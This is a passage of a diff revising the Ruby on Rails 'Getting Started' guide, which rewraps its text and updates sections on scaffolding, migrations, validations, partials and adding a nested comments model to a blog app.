experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch. Rails, however, makes it really simple to customize templates for generated models, controllers, views and other source files. You'll find more information in the "Creating and Customizing Rails Generators & Templates":generators.html guide. - -The scaffold generator will build 15 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates: +The scaffold generator will build several files in your application, along with some +folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it creates: |_.File |_.Purpose| |db/migrate/20100207214725_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)| @@ -364,17 +552,34 @@ The scaffold generator will build 15 files in your application, along with some |app/views/posts/new.html.erb |A view to create a new post| |app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views| |app/helpers/posts_helper.rb |Helper functions to be used from the post views| +|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better| +|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller| +|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller| |test/unit/post_test.rb |Unit testing harness for the posts model| |test/functional/posts_controller_test.rb |Functional testing harness for the posts controller| |test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper| |config/routes.rb |Edited to include routing information for posts| -|app/assets/stylesheets/scaffold.css.scss |Cascading style sheet to make the scaffolded views look better| + +NOTE. While scaffolding will get you up and running quickly, the code it +generates is unlikely to be a perfect fit for your application. You'll most +probably want to customize the generated code. Many experienced Rails developers +avoid scaffolding entirely, preferring to write all or most of their source code +from scratch. Rails, however, makes it really simple to customize templates for +generated models, controllers, views and other source files. You'll find more +information in the "Creating and Customizing Rails Generators & +Templates":generators.html guide. h4. Running a Migration -One of the products of the +rails generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created. +One of the products of the +rails generate scaffold+ command is a _database +migration_. Migrations are Ruby classes that are designed to make it simple to +create and modify database tables. Rails uses rake commands to run migrations, +and it's possible to undo a migration after it's been applied to your database. +Migration filenames include a timestamp to ensure that they're processed in the +order that they were created. -If you look in the +db/migrate/20100207214725_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find: +If you look in the +db/migrate/20100207214725_create_posts.rb+ file (remember, +yours will have a slightly different name), here's what you'll find: <ruby> class CreatePosts < ActiveRecord::Migration @@ -390,7 +595,14 @@ class CreatePosts < ActiveRecord::Migration end </ruby> -The above migration creates a method name +change+ which will be called when you run this migration. The action defined in that method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you want to reverse it at later date. By default, when you run this migration it will creates a +posts+ table with two string columns and a text column. It also creates two timestamp fields to track record creation and updating. More information about Rails migrations can be found in the "Rails Database Migrations":migrations.html guide. +The above migration creates a method named +change+ which will be called when you +run this migration. The action defined in that method is also reversible, which +means Rails knows how to reverse the change made by this migration, in case you +want to reverse it at later date. By default, when you run this migration it +creates a +posts+ table with two string columns and a text column. It also +creates two timestamp fields to track record creation and updating. More +information about Rails migrations can be found in the "Rails Database +Migrations":migrations.html guide. At this point, you can use a rake command to run the migration: @@ -398,7 +610,8 @@ At this point, you can use a rake command to run the migration: $ rake db:migrate </shell> -Rails will execute this migration command and tell you it created the Posts table. +Rails will execute this migration command and tell you it created the Posts +table. <shell> == CreatePosts: migrating ==================================================== @@ -407,28 +620,43 @@ Rails will execute this migration command and tell you it created the Posts tabl == CreatePosts: migrated (0.0020s) =========================================== </shell> -NOTE. Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file. If you would like to execute migrations in other environment, for instance in production, you must explicitly pass it when invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. +NOTE. Because by default you're working in the development environment, this +command will apply to the database defined in the +development+ section of your ++config/database.yml+ file. If you would like to execute migrations in another +environment, for instance in production, you must explicitly pass it when +invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. h4. Adding a Link -To hook the posts up to the home page you've already created, you can add a link to the home page. Open +app/views/home/index.html.erb+ and modify it as follows: +To hook the posts up to the home page you've already created, you can add a link +to the home page. Open +app/views/home/index.html.erb+ and modify it as follows: -<code lang="ruby"> +<ruby> <h1>Hello, Rails!</h1> <%= link_to "My Blog", posts_path %> -</code> +</ruby> -The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts. +The +link_to+ method is one of Rails' built-in view helpers. It creates a +hyperlink based on text to display and where to go - in this case, to the path +for posts. h4. Working with Posts in the Browser -Now you're ready to start working with posts. To do that, navigate to "http://localhost:3000":http://localhost:3000/ and then click the "My Blog" link: +Now you're ready to start working with posts. To do that, navigate to +"http://localhost:3000":http://localhost:3000/ and then click the "My Blog" +link: !images/posts_index.png(Posts Index screenshot)! -This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +rails generate scaffold+ command. +This is the result of Rails rendering the +index+ view of your posts. There +aren't currently any posts in the database, but if you click the +New Post+ link +you can create one. After that, you'll find that you can edit posts, look at +their details, or destroy them. All of the logic and HTML to handle this was +built by the single +rails generate scaffold+ command. -TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server. +TIP: In development mode (which is what you're working in by default), Rails +reloads your application with every browser request, so there's no need to stop +and restart the web server. Congratulations, you're riding the rails! Now it's time to see how it all works. @@ -441,11 +669,16 @@ class Post < ActiveRecord::Base end </ruby> -There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. +There isn't much to this file - but note that the +Post+ class inherits from ++ActiveRecord::Base+. Active Record supplies a great deal of functionality to +your Rails models for free, including basic database CRUD (Create, Read, Update, +Destroy) operations, data validation, as well as sophisticated search support +and the ability to relate multiple models to one another. h4. Adding Some Validation -Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it: +Rails includes methods to help you validate the data that you send to models. +Open the +app/models/post.rb+ file and edit it: <ruby> class Post < ActiveRecord::Base @@ -455,17 +688,24 @@ class Post < ActiveRecord::Base end </ruby> -These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. +These changes will ensure that all posts have a name and a title, and that the +title is at least five characters long. Rails can validate a variety of +conditions in a model, including the presence or uniqueness of columns, their +format, and the existence of associated objects. h4. Using the Console -To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application: +To see your validations in action, you can use the console. The console is a +command-line tool that lets you execute Ruby code in the context of your +application: <shell> $ rails console </shell> -TIP: The default console will make changes to your database. You can instead open a console that will roll back any changes you make by using +rails console --sandbox+. +TIP: The default console will make changes to your database. You can instead +open a console that will roll back any changes you make by using <tt>rails console +--sandbox</tt>. After the console loads, you can use it to work with your application's models: @@ -482,15 +722,21 @@ After the console loads, you can use it to work with your application's models: :name=>["can't be blank"] }> </shell> -This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post. +This code shows creating a new +Post+ instance, attempting to save it and +getting +false+ for a return value (indicating that the save failed), and +inspecting the +errors+ of the post. When you're finished, type +exit+ and hit +return+ to exit the console. -TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them. +TIP: Unlike the development web server, the console does not automatically load +your code afresh for each line. If you make changes to your models while the +console is open, type +reload!+ at the console prompt to load them. h4. Listing All Posts -The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb+ and look at the +index+ action: +The easiest place to start looking at functionality is with the code that lists +all posts. Open the file +app/controllers/posts_controller.rb+ and look at the ++index+ action: <ruby> def index @@ -503,11 +749,19 @@ def index end </ruby> -+Post.all+ calls the +Post+ model to return all of the posts currently in the database. The result of this call is an array of posts that we store in a instance variable called +@posts+. ++Post.all+ calls the +Post+ model to return all of the posts currently in the +database. The result of this call is an array of posts that we store in an +instance variable called +@posts+. -TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html. +TIP: For more information on finding records with Active Record, see "Active +Record Query Interface":active_record_querying.html. -The +respond_to+ block handles both HTML and JSON calls to this action. If you browse to "http://localhost:3000/posts.json":http://localhost:3000/posts.json, you'll see a JSON containing all of the posts. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/views/posts/index.html.erb+: +The +respond_to+ block handles both HTML and JSON calls to this action. If you +browse to "http://localhost:3000/posts.json":http://localhost:3000/posts.json, +you'll see a JSON containing all of the posts. The HTML format looks for a view +in +app/views/posts/+ with a name that corresponds to the action name. Rails +makes all of the instance variables from the action available to the view. +Here's +app/views/posts/index.html.erb+: <erb> <h1>Listing posts</h1> @@ -529,7 +783,8 @@ The +respond_to+ block handles both HTML and JSON calls to this action. If you b <td><%= post.content %></td> <td><%= link_to 'Show', post %></td> <td><%= link_to 'Edit', edit_post_path(post) %></td> - <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td> + <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', + :method => :delete %></td> </tr> <% end %> </table> @@ -539,26 +794,39 @@ The +respond_to+ block handles both HTML and JSON calls to this action. If you b <%= link_to 'New post', new_post_path %> </erb> -This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view: +This view iterates over the contents of the +@posts+ array to display content +and links. A few things to note in the view: * +link_to+ builds a hyperlink to a particular destination * +edit_post_path+ and +new_post_path+ are helpers that Rails provides as part of RESTful routing. You'll see a variety of these helpers for the different actions that the controller includes. -NOTE. In previous versions of Rails, you had to use +<%=h post.name %>+ so that any HTML would be escaped before being inserted into the page. In Rails 3.0, this is now the default. To get unescaped HTML, you now use +<%= raw post.name %>+. +NOTE. In previous versions of Rails, you had to use +<%=h post.name %>+ so +that any HTML would be escaped before being inserted into the page. In Rails +3.0, this is now the default. To get unescaped HTML, you now use +<%= raw +post.name %>+. -TIP: For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html. +TIP: For more details on the rendering process, see "Layouts and Rendering in +Rails":layouts_and_rendering.html. h4. Customizing the Layout -The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. In previous versions of Rails, the +rails generate scaffold+ command would automatically create a controller specific layout, like +app/views/layouts/posts.html.erb+, for the posts controller. However this has been changed in Rails 3.0. An application specific +layout+ is used for all the controllers and can be found in +app/views/layouts/application.html.erb+. Open this layout in your editor and modify the +body+ tag: +The view is only part of the story of how HTML is displayed in your web browser. +Rails also has the concept of +layouts+, which are containers for views. When +Rails renders a view to the browser, it does so by putting the view's HTML into +a layout's HTML. In previous versions of Rails, the +rails generate scaffold+ +command would automatically create a controller specific layout, like ++app/views/layouts/posts.html.erb+, for the posts controller. However this has +been changed in Rails 3.0. An application specific +layout+ is used for all the +controllers and can be found in +app/views/layouts/application.html.erb+. Open +this layout in your editor and modify the +body+ tag: <erb> <!DOCTYPE html> <html> <head> <title>Blog</title> - <%= stylesheet_link_tag :all %> - <%= javascript_include_tag :defaults %> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> <%= csrf_meta_tags %> </head> <body style="background: #EEEEEE;"> @@ -569,11 +837,13 @@ The view is only part of the story of how HTML is displayed in your web browser. </html> </erb> -Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts. +Now when you refresh the +/posts+ page, you'll see a gray background to the +page. This same gray background will be used throughout all the views for posts. h4. Creating New Posts -Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object: +Creating a new post involves two actions. The first is the +new+ action, which +instantiates an empty +Post+ object: <ruby> def new @@ -596,15 +866,22 @@ The +new.html.erb+ view displays this empty Post to the user: <%= link_to 'Back', posts_path %> </erb> -The +<%= render 'form' %>+ line is our first introduction to _partials_ in Rails. A partial is a snippet of HTML and Ruby code that can be reused in multiple locations. In this case, the form used to make a new post, is basically identical to a form used to edit a post, both have text fields for the name and title and a text area for the content with a button to make a new post or update the existing post. +The +<%= render 'form' %>+ line is our first introduction to _partials_ in +Rails. A partial is a snippet of HTML and Ruby code that can be reused in +multiple locations. In this case, the form used to make a new post is basically +identical to the form used to edit a post, both having text fields for the name and +title, a text area for the content, and a button to create the new post or to update +the existing one. -If you take a look at +views/posts/_form.html.erb+ file, you will see the following: +If you take a look at +views/posts/_form.html.erb+ file, you will see the +following: <erb> <%= form_for(@post) do |f| %> <% if @post.errors.any? %> <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited + this post from being saved:</h2> <ul> <% @post.errors.full_messages.each do |msg| %> <li><%= msg %></li> @@ -631,17 +908,34 @@ If you take a look at +views/posts/_form.html.erb+ file, you will see the follow <% end %> </erb> -This partial receives all the instance variables defined in the calling view file, so in this case, the controller assigned the new Post object to +@post+ and so, this is available in both the view and partial as +@post+. +This partial receives all the instance variables defined in the calling view +file. In this case, the controller assigned the new +Post+ object to +@post+, +which will thus be available in both the view and the partial as +@post+. -For more information on partials, refer to the "Layouts and Rendering in Rails":layouts_and_rendering.html#using-partials guide. +For more information on partials, refer to the "Layouts and Rendering in +Rails":layouts_and_rendering.html#using-partials guide. -The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having you write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance. +The +form_for+ block is used to create an HTML form. Within this block, you have +access to methods to build various controls on the form. For example, ++f.text_field :name+ tells Rails to create a text input on the form and to hook +it up to the +name+ attribute of the instance being displayed. You can only use +these methods with attributes of the model that the form is based on (in this +case +name+, +title+, and +content+). Rails uses +form_for+ in preference to +having you write raw HTML because the code is more succinct, and because it +explicitly ties the form to a particular model instance. -The +form_for+ block is also smart enough to work out if you are doing a _New Post_ or an _Edit Post_ action, and will set the form +action+ tags and submit button names appropriately in the HTML output. +The +form_for+ block is also smart enough to work out if you are doing a _New +Post_ or an _Edit Post_ action, and will set the form +action+ tags and submit +button names appropriately in the HTML output. -TIP: If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance. +TIP: If you need to create an HTML form that displays arbitrary fields, not tied +to a model, you should use the +form_tag+ method, which provides shortcuts for +building forms that are not necessarily tied to a model instance. -When the user clicks the +Create Post+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier): +When the user clicks the +Create Post+ button on this form, the browser will +send information back to the +create+ action of the controller (Rails knows to +call the +create+ action because the form is sent with an HTTP POST request; +that's one of the conventions that were mentioned earlier): <ruby> def create @@ -662,15 +956,32 @@ def create end </ruby> -The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After successfully saving the new post, +create+ returns the appropriate format that the user has requested (HTML in our case). It then redirects the user to the resulting post +show+ action and sets a notice to the user that the Post was successfully created. - -If the post was not successfully saved, due to a validation error, then the controller returns the user back to the +new+ action with any error messages so that the user has the chance to fix the error and try again. - -The "Post was successfully created." message is stored inside of the Rails +flash+ hash, (usually just called _the flash_) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created." +The +create+ action instantiates a new Post object from the data supplied by the +user on the form, which Rails makes available in the +params+ hash. After +successfully saving the new post, +create+ returns the appropriate format that +the user has requested (HTML in our case). It then redirects the user to the +resulting post +show+ action and sets a notice to the user that the Post was +successfully created. + +If the post was not successfully saved, due to a validation error, then the +controller returns the user back to the +new+ action with any error messages so +that the user has the chance to fix the error and try again. + +The "Post was successfully created." message is stored in the Rails ++flash+ hash (usually just called _the flash_), so that messages can be carried +over to another action, providing the user with useful information on the status +of their request. In the case of +create+, the user never actually sees any page +rendered during the post creation process, because it immediately redirects to +the new +Post+ as soon as Rails saves the record. The Flash carries over a message to +the next action, so that when the user is redirected back to the +show+ action, +they are presented with a message saying "Post was successfully created." h4. Showing an Individual Post -When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action: +When you click the +show+ link for a post on the index page, it will bring you +to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call +to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. +Here's the +show+ action: <ruby> def show @@ -683,7 +994,9 @@ def show end </ruby> -The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+: +The +show+ action uses +Post.find+ to search for a single record in the database +by its id value. After finding the record, Rails displays it by using ++show.html.erb+: <erb> <p class="notice"><%= notice %></p> @@ -710,7 +1023,9 @@ The +show+ action uses +Post.find+ to search for a single record in the database h4. Editing Posts -Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller: +Like creating a new post, editing a post is a two-part process. The first step +is a request to +edit_post_path(@post)+ with a particular post. This calls the ++edit+ action in the controller: <ruby> def edit @@ -718,7 +1033,8 @@ def edit end </ruby> -After finding the requested post, Rails uses the +edit.html.erb+ view to display it: +After finding the requested post, Rails uses the +edit.html.erb+ view to display +it: <erb> <h1>Editing post</h1> @@ -729,9 +1045,12 @@ After finding the requested post, Rails uses the +edit.html.erb+ view to display <%= link_to 'Back', posts_path %> </erb> -Again, as with the +new+ action, the +edit+ action is using the +form+ partial, this time however, the form will do a PUT action to the PostsController and the submit button will display "Update Post" +Again, as with the +new+ action, the +edit+ action is using the +form+ partial. +This time, however, the form will do a PUT action to the +PostsController+ and the +submit button will display "Update Post". -Submitting the form created by this view will invoke the +update+ action within the controller: +Submitting the form created by this view will invoke the +update+ action within +the controller: <ruby> def update @@ -751,11 +1070,17 @@ def update end </ruby> -In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to the +edit+ view to correct them. +In the +update+ action, Rails first uses the +:id+ parameter passed back from +the edit view to locate the database record that's being edited. The ++update_attributes+ call then takes the +post+ parameter (a hash) from the request +and applies it to this record. If all goes well, the user is redirected to the +post's +show+ action. If there are any problems, it redirects back to the +edit+ action to +correct them. h4. Destroying a Post -Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action: +Finally, clicking one of the +destroy+ links sends the associated id to the ++destroy+ action: <ruby> def destroy @@ -763,21 +1088,31 @@ def destroy @post.destroy respond_to do |format| - format.html { redirect_to(posts_url) } - format.json { render :json => {}, :status => :ok } + format.html { redirect_to posts_url } + format.json { head :ok } end end </ruby> -The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model. +The +destroy+ method of an Active Record model instance removes the +corresponding record from the database. After that's done, there isn't any +record to display, so Rails redirects the user's browser to the index action of +the controller. h3. Adding a Second Model -Now that you've seen how a model built with scaffolding looks like, it's time to add a second model to the application. The second model will handle comments on blog posts. +Now that you've seen how a model built with scaffolding looks like, it's time to +add a second model to the application. The second model will handle comments on +blog posts. h4. Generating a Model -Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal: +Models in Rails use a singular name, and their corresponding database tables use +a plural name. For the model to hold comments, the convention is to use the name ++Comment+. Even if you don't want to use the entire apparatus set up by +scaffolding, most Rails developers still use generators to make things like +models and controllers. To create the new model, run this command in your +terminal: <shell> $ rails generate model Comment commenter:string body:text post:references @@ -785,8 +1120,8 @@ $ rails generate model Comment commenter:string body:text post:references This command will generate four files: -* +app/models/comment.rb+ - The model -* +db/migrate/20100207235629_create_comments.rb+ - The migration +* +app/models/comment.rb+ - The model. +* +db/migrate/20100207235629_create_comments.rb+ - The migration. * +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. First, take a look at +comment.rb+: @@ -797,9 +1132,12 @@ class Comment < ActiveRecord::Base end </ruby> -This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. +This is very similar to the +post.rb+ model that you saw earlier. The difference +is the line +belongs_to :post+, which sets up an Active Record _association_. +You'll learn a little about associations in the next section of this guide. -In addition to the model, Rails has also made a migration to create the corresponding database table: +In addition to the model, Rails has also made a migration to create the +corresponding database table: <ruby> class CreateComments < ActiveRecord::Migration @@ -817,13 +1155,16 @@ class CreateComments < ActiveRecord::Migration end </ruby> -The +t.references+ line sets up a foreign key column for the association between the two models. And the +add_index+ line sets up an index for this association column. Go ahead and run the migration: +The +t.references+ line sets up a foreign key column for the association between +the two models. And the +add_index+ line sets up an index for this association +column. Go ahead and run the migration: <shell> $ rake db:migrate </shell> -Rails is smart enough to only execute the migrations that have not already been run against the current database, so in this case you will just see: +Rails is smart enough to only execute the migrations that have not already been +run against the current database, so in this case you will just see: <shell> == CreateComments: migrating ================================================= @@ -834,12 +1175,16 @@ Rails is smart enough to only execute the migrations that have not already been h4. Associating Models -Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way: +Active Record associations let you easily declare the relationship between two +models. In the case of comments and posts, you could write out the relationships +this way: -* Each comment belongs to one post -* One post can have many comments +* Each comment belongs to one post. +* One post can have many comments. -In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post: +In fact, this is very close to the syntax that Rails uses to declare this +association. You've already seen the line of code inside the Comment model that +makes each comment belong to a Post: <ruby> class Comment < ActiveRecord::Base @@ -859,13 +1204,20 @@ class Post < ActiveRecord::Base end </ruby> -These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+. +These two declarations enable a good bit of automatic behavior. For example, if +you have an instance variable +@post+ containing a post, you can retrieve all +the comments belonging to that post as an array using +@post.comments+. -TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide. +TIP: For more information on Active Record associations, see the "Active Record +Associations":association_basics.html guide. h4. Adding a Route for Comments -As with the +home+ controller, we will need to add a route so that Rails knows where we would like to navigate to see +comments+. Open up the +config/routes.rb+ file again, you will see an entry that was added automatically for +posts+ near the top by the scaffold generator, +resources :posts+, edit it as follows: +As with the +home+ controller, we will need to add a route so that Rails knows +where we would like to navigate to see +comments+. Open up the ++config/routes.rb+ file again. Near the top, you will see the entry for +posts+ +that was added automatically by the scaffold generator: <tt>resources +:posts</tt>. Edit it as follows: <ruby> resources :posts do @@ -873,29 +1225,40 @@ resources :posts do end </ruby> -This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments. +This creates +comments+ as a _nested resource_ within +posts+. This is another +part of capturing the hierarchical relationship that exists between posts and +comments. -TIP: For more information on routing, see the "Rails Routing from the Outside In":routing.html guide. +TIP: For more information on routing, see the "Rails Routing from the Outside +In":routing.html guide. h4. Generating a Controller -With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this: +With the model in hand, you can turn your attention to creating a matching +controller. Again, there's a generator for this: <shell> $ rails generate controller Comments </shell> -This creates four files and one empty directory: +This creates six files and one empty directory: -* +app/controllers/comments_controller.rb+ - The controller -* +app/helpers/comments_helper.rb+ - A view helper file -* +test/functional/comments_controller_test.rb+ - The functional tests for the controller -* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper -* +app/views/comments/+ - Views of the controller are stored here +* +app/controllers/comments_controller.rb+ - The controller. +* +app/helpers/comments_helper.rb+ - A view helper file. +* +test/functional/comments_controller_test.rb+ - The functional tests for the controller. +* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper. +* +app/views/comments/+ - Views of the controller are stored here. +* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller. +* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller. -Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed. Due to this, our +CommentsController+ is there to provide a method to create comments and delete SPAM comments when they arrive. +Like with any blog, our readers will create their comments directly after +reading the post, and once they have added their comment, will be sent back to +the post show page to see their comment now listed. Due to this, our ++CommentsController+ is there to provide a method to create comments and delete +spam comments when they arrive. -So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+) to let us make a new comment: +So first, we'll wire up the Post show template +(+/app/views/posts/show.html.erb+) to let us make a new comment: <erb> <p class="notice"><%= notice %></p> @@ -934,7 +1297,8 @@ So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+ <%= link_to 'Back to Posts', posts_path %> | </erb> -This adds a form on the Post show page that creates a new comment, which will call the +CommentsController+ +create+ action, so let's wire that up: +This adds a form on the +Post+ show page that creates a new comment by +calling the +CommentsController+ +create+ action. Let's wire that up: <ruby> class CommentsController < ApplicationController @@ -946,11 +1310,21 @@ class CommentsController < ApplicationController end </ruby> -You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached, thus the initial find action to the Post model to get the post in question. +You'll see a bit more complexity here than you did in the controller for posts. +That's a side-effect of the nesting that you've set up. Each request for a +comment has to keep track of the post to which the comment is attached, thus the +initial call to the +find+ method of the +Post+ model to get the post in question. -In addition, the code takes advantage of some of the methods available for an association. We use the +create+ method on +@post.comments+ to create and save the comment. This will automatically link the comment so that it belongs to that particular post. +In addition, the code takes advantage of some of the methods available for an +association. We use the +create+ method on +@post.comments+ to create and save +the comment. This will automatically link the comment so that it belongs to that +particular post. -Once we have made the new comment, we send the user back to the original post using the +post_path(@post)+ helper. As we have already seen, this calls the +show+ action of the +PostsController+ which in turn renders the +show.html.erb+ template. This is where we want the comment to show, so let's add that to the +app/views/posts/show.html.erb+. +Once we have made the new comment, we send the user back to the original post +using the +post_path(@post)+ helper. As we have already seen, this calls the ++show+ action of the +PostsController+ which in turn renders the +show.html.erb+ +template. This is where we want the comment to show, so let's add that to the ++app/views/posts/show.html.erb+. <erb> <p class="notice"><%= notice %></p> @@ -1004,15 +1378,20 @@ Once we have made the new comment, we send the user back to the original post us <%= link_to 'Back to Posts', posts_path %> | </erb> -Now you can add posts and comments to your blog and have them show up in the right places. +Now you can add posts and comments to your blog and have them show up in the +right places. h3. Refactoring -Now that we have Posts and Comments working, if we take a look at the +app/views/posts/show.html.erb+ template, it's getting long and awkward. We can use partials to clean this up. +Now that we have posts and comments working, take a look at the ++app/views/posts/show.html.erb+ template. It is getting long and awkward. We can +use partials to clean it up. h4. Rendering Partial Collections -First we will make a comment partial to extract showing all the comments for the post. Create the file +app/views/comments/_comment.html.erb+ and put the following into it: +First we will make a comment partial to extract showing all the comments for the +post. Create the file +app/views/comments/_comment.html.erb+ and put the +following into it: <erb> <p> @@ -1026,7 +1405,8 @@ First we will make a comment partial to extract showing all the comments for the </p> </erb> -Then in the +app/views/posts/show.html.erb+ you can change it to look like the following: +Then you can change +app/views/posts/show.html.erb+ to look like the +following: <erb> <p class="notice"><%= notice %></p> @@ -1070,11 +1450,16 @@ Then in the +app/views/posts/show.html.erb+ you can change it to look like the f <%= link_to 'Back to Posts', posts_path %> | </erb> -This will now render the partial in +app/views/comments/_comment.html.erb+ once for each comment that is in the +@post.comments+ collection. As the +render+ method iterates over the <tt>@post.comments</tt> collection, it assigns each comment to a local variable named the same as the partial, in this case +comment+ which is then available in the partial for us to show. +This will now render the partial in +app/views/comments/_comment.html.erb+ once +for each comment that is in the +@post.comments+ collection. As the +render+ +method iterates over the <tt>@post.comments</tt> collection, it assigns each +comment to a local variable named the same as the partial, in this case ++comment+ which is then available in the partial for us to show. h4. Rendering a Partial Form -Lets also move that new comment section out to it's own partial, again, you create a file +app/views/comments/_form.html.erb+ and in it you put: +Let us also move that new comment section out to its own partial. Again, you +create a file +app/views/comments/_form.html.erb+ containing: <erb> <%= form_for([@post, @post.comments.build]) do |f| %> @@ -1124,15 +1509,22 @@ Then you make the +app/views/posts/show.html.erb+ look like the following: <%= link_to 'Back to Posts', posts_path %> | </erb> -The second render just defines the partial template we want to render, <tt>comments/form</tt>, Rails is smart enough to spot the forward slash in that string and realize that you want to render the <tt>_form.html.erb</tt> file in the <tt>app/views/comments</tt> directory. +The second render just defines the partial template we want to render, +<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that +string and realize that you want to render the <tt>_form.html.erb</tt> file in +the <tt>app/views/comments</tt> directory. -The +@post+ object is available to any partials rendered in the view because we defined it as an instance variable. +The +@post+ object is available to any partials rendered in the view because we +defined it as an instance variable. h3. Deleting Comments -Another important feature on a blog is being able to delete SPAM comments. To do this, we need to implement a link of some sort in the view and a +DELETE+ action in the +CommentsController+. +Another important feature of a blog is being able to delete spam comments. To do +this, we need to implement a link of some sort in the view and a +DELETE+ action +in the 